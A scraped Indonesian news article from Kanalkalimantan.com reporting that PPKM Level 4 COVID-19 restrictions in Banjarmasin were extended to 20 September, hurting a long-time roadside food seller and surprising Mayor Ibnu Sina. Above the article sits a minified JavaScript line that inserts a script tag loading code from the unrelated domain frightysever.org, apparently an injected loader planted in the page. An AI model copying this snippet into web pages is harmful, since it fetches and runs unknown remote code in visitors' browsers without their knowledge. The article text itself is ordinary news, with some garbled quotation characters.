(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PPKM Level 4 Berjilid-Jilid Bikin Pelaku Usaha di Banjarmasin Menjerit!

KANALKALIMANTAN.COM, BANJARMASIN- Kebijakan pusat untuk kembali memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 di Banjarmasin hingga 20 September, membuat berbagai pihak terkejut! Termasuk Wali Kota Banjarmasin Ibnu Sina, yang tak menyangka harus kembali melakukan kebijakan pengetatan di tengah kasus Covid-19 yang sudah mulai bisa dikendalikan.

Di sisi lain, langkah ini juga menjadi pukulan bertubi-tubi bagi pelaku usaha kecil. Itit (53), seorang penjual makanan yang sudah 32 tahun membuka warung di pinggir jalan RE Martadinata Banjarmasin Barat, merasakan dampaknya.

Kepada Kanalkalimantan.com, ia mengatakan bahwa sebelum PPKM ia bisa meraup untung hingga Rp 1,3 juta dari hasil jualannya.

â€œTapi selama PPKM ini turun 50 persen. Kadang bisa Rp 500 ribu sampai Rp 600 ribu aja,” ungkapnya.

Apalagi, warung miliknya mengandalkan dari pelanggan yang sebagian besar adalah para sopir truk ekspedisi.

Sebelumnya, Wali Kota Ibnu Sina termasuk salah satu pihak yang terkejut atas kebijakan perpanjangan PPKM level 4 di wilayahnya. Sebab dari tiga indikator, Banjarmasin berada di posisi level 3.

â€œTapi mengejutkan pada pemunguman disampaikan Menko Perekonomian bahwa Banjarmasin masih tetap melakukan PPKM Lvel 4 bersaama tiga daerah lain di Kalsel yakni Banjarbaru dan Kotabaru,” katanya. (kanalkalimantan.com/seno)

Reporter: seno
Editor: cell